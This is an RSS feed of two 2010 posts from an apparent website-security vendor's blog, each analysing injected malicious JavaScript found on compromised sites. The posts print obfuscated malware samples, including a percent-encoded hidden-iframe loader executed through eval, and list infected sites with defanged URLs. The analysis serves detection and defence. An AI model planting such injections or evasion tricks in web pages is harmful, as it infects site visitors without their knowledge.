<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stopthehacker.com &#187; code injection</title>
	<atom:link href="http://www.stopthehacker.com/tag/code-injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stopthehacker.com</link>
	<description>Jaal, LLC</description>
	<lastBuildDate>Tue, 07 Feb 2012 14:00:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Zero to 3000+ Infected Sites in Less Than 30 Minutes</title>
		<link>http://www.stopthehacker.com/2010/03/01/zero-to-3000-infected-sites-in-less-than-30-minutes/</link>
		<comments>http://www.stopthehacker.com/2010/03/01/zero-to-3000-infected-sites-in-less-than-30-minutes/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 19:00:48 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Report]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[blacklisted websites]]></category>
		<category><![CDATA[code injection]]></category>
		<category><![CDATA[infected sites]]></category>
		<category><![CDATA[malicious websites]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=1402</guid>
		<description><![CDATA[Code injection attacks show no signs of abating. Everyday more than 6000 new websites are added to Google&#8217;s Safe Browsing List (blacklist). Hackers are compromising websites without the knowledge of the website owner to, in turn, infect website visitors. Malicious hackers don&#8217;t care if the website they infect is a small mom and pop operation [...]]]></description>
			<content:encoded><![CDATA[<p>Code injection attacks show no signs of abating. Everyday more than 6000 new websites are added to <a href="http://www.google.com/tools/firefox/safebrowsing/" target="_blank">Google&#8217;s Safe Browsing List</a> (blacklist). Hackers are compromising websites without the knowledge of the website owner to, in turn, infect website visitors.</p>
<p>Malicious hackers don&#8217;t care if the website they infect is a small mom and pop operation or a large e-business. They use automated &#8220;bots&#8221; in most cases, which will attack any and every website they can exploit. No website is off limits.</p>
<p>As an example of the rampant nature of this problem, we will show how we found over 3000 infected websites out of which only a small percentage seems to be blacklisted by current website reputation services. One of the most reliable reputation services, offered by Google, only managed to identify a small portion of the whole of the infected websites we mined using Google&#8217;s own search results. Identifying infected websites is not trivial.</p>
<p><strong>We recently saw a strong rise in the appearance of the malicious code below:</strong></p>
<pre class="brush: jscript; title: ; notranslate">
this.v=&quot;&quot;;:LineMixer [var i=15492;var y=window;var  o='';var op='';
var a='s*c*r:iVpTt:'.replace(/[\:

TVJ\*]/g, '');var  yx=new Array();
var u='c*r*eja_tjeYE_lYe*mYebn*t_'.replace(/[_\*bjY]/g,  '');
var _=new Array();this.nt=&quot;&quot;;]var k;if(k!='dh' &amp;&amp; k !=  '')
{k=null};y.onload=function(){var w;if(w!='' &amp;&amp;  w!='ns'){w=null};
try {this.n_=false;uh=document[u](a);var ow=&quot;&quot;;var  f=&quot;&quot;;
var xl=new String();var xf=&quot;xf&quot;;:LineMixer  [uh['s;rpcp'.replace(/[p;t6O]/g, '')]
='hHt4tVp4:5/V/4e4x4aHmViVnVe4
</pre>
<p>By searching for a small part of the above portion of this code on Google (shown below), we found a list of websites which harbor the above code. A simple mention of this code on the pages of a website does not necessarily imply that the website is bad. It could be that a website administrator was asking for clarification on help forum. However, a detailed (automated) examination is performed by our systems to remove any doubt.</p>
<pre class="brush: jscript; title: ; notranslate">
this.v=&quot;&quot;;:LineMixer [var i=
</pre>
<p>Interestingly, only 5.7% of the 3000+ infected sites we found exploited with this code were blacklisted by Google. This highlights the fact that even reliable blacklists, like the <a href="http://www.google.com/tools/firefox/safebrowsing/" target="_blank">Google&#8217;s Safe Browsing List</a> are not complete.</p>
<p>Till next time.<br />
<span id="more-1402"></span><br />
<strong>We show a small sample of the 3000+ infected websites below:</strong></p>
<pre class="brush: plain; title: ; notranslate">
hxxp://saipanlawyer.com/          (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://www.citydusk.com/          (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://de.pastebin.ca/1798028/    (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://www.hotel-ederhof.com/     (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://fast-weight-loss-plan.org/ (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2010/03/01/zero-to-3000-infected-sites-in-less-than-30-minutes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>An Interesting Sample of Malware</title>
		<link>http://www.stopthehacker.com/2010/01/21/an-interesting-sample-of-malware-code/</link>
		<comments>http://www.stopthehacker.com/2010/01/21/an-interesting-sample-of-malware-code/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 01:20:31 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Report]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[code injection]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[malicious websites]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=1118</guid>
		<description><![CDATA[This afternoon, a post on Badwarebusters.org reminded me of a somewhat interesting piece of malicious code I have not seen for some time. Our scanners flagged it as malware. The original post is found here , answered by redleg on Badwarebusters.org. This malware, found embedded in &#8220;eslpod.com/website/index.php&#8221;, is displayed below. The code has been slightly [...]]]></description>
			<content:encoded><![CDATA[<p>This afternoon, a post on <a href="http://badwarebusters.org/" target="_blank">Badwarebusters.org</a> reminded me of a somewhat interesting piece of malicious code I have not seen for some time. Our scanners flagged it as malware.</p>
<p>The original post is found <a href="http://badwarebusters.org/main/itemview/14172" target="_blank">here</a> , answered by <em>redleg</em> on <a href="http://badwarebusters.org" target="_blank">Badwarebusters.org</a>.</p>
<p>This malware, found embedded in &#8220;eslpod.com/website/index.php&#8221;, is displayed below. The code has been slightly modified so as not to work as intended if loaded up and run in a browser.</p>
<pre class="brush: plain; title: ; notranslate">
&lt;h4 id=&quot;Fl&quot; style=&quot;display:none;&quot;&gt;%64%6f%63%75%6d%65%6e%74%2e%77%72%74%65%28%22%3c%69%66%72%61%6d%65%20%73%72%63%3d%5c%22%68%74%74%70%3a%2f%2f%74%72%61%66%2e%74%72%61%6e%73%63%6f%6e%74%69%6e%65%6e%74%61%6c%2d%73%65%72%76%69%63%65%2e%67%2f%69%6e%64%65%78%2e%70%68%70%5c%22%20%73%74%79%6c%65%3d%5c%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%5c%22%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b&lt;/h4&gt;

&lt;script&gt;
ar aK=docume nt.getElem entById(&quot;Fl&quot;), A x=ev al;
aK = aK.inne rHTML;
Ax(unescape(aK));
&lt;/script&gt;
</pre>
<p>It is interesting to see how hackers are trying out new tricks to fool scanning systems. Most code-injection attacks deliver the payload directly within the script tags. Here, the case is slightly different. The individual has attempted to disguise the malicious payload as a simple web element inside the page by using Javascript and the getElementById function. The code then proceeds to execute the malicious payload.</p>
<p>The payload by itself is not so interesting. It has been known to appear in different variants before this particular example.</p>
<p><strong>The payload is displayed below:</strong></p>
<pre class="brush: plain; title: ; notranslate">
document.wri te(&quot;&lt;ifra me src=\&quot;hxxp://traff.tr anscon tin enta l-serv ice.org/i n dex.php\&quot; style=\&quot;dis play:none;\&quot;&gt;&lt;/ifr me&gt;&quot;);
</pre>
<p><strong>The iframe referred to here refers to the following:</strong></p>
<pre class="brush: plain; title: ; notranslate">
&lt;!--LiveInternet counter--&gt;
&lt;script t ype=&quot;text/javascript&quot;&gt;
&lt;!--
document.write(&quot;&lt;a href='hxxp://www.li veinte rnet.ru/click' &quot;+
&quot;target=_blank&gt;&lt;img src='hxxp://cou nter.yad ro.ru/hit?t52.6;r&quot;+
escape(document.referrer)+((typeof(screen)==&quot;undefined&quot;)?&quot;&quot;:
&quot;;s&quot;+screen.width+&quot;*&quot;+screen.height+&quot;*&quot;+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+&quot;;u&quot;+escape(document.URL)+
&quot;;&quot;+Math.random()+&quot;' alt='' title='LiveInternet: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è&quot;+
&quot; ïîñåòèòåëåé çà 24 ÷àñà' &quot;+&quot;border='0' width='88' height='31'&gt;&lt;\/a&gt;&quot;)
//--&gt;
&lt;/script&gt;
&lt;!--/LiveInternet--&gt;
</pre>
<p>This snippet should be flagged by many scanning services simply because of the reputation of the sites mentioned inside it (see <a href="http://www.malwaredomainlist.com/mdl.php" target="_blank">Malware Patrol</a>).</p>
<p>Till next time, surf safe.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2010/01/21/an-interesting-sample-of-malware-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

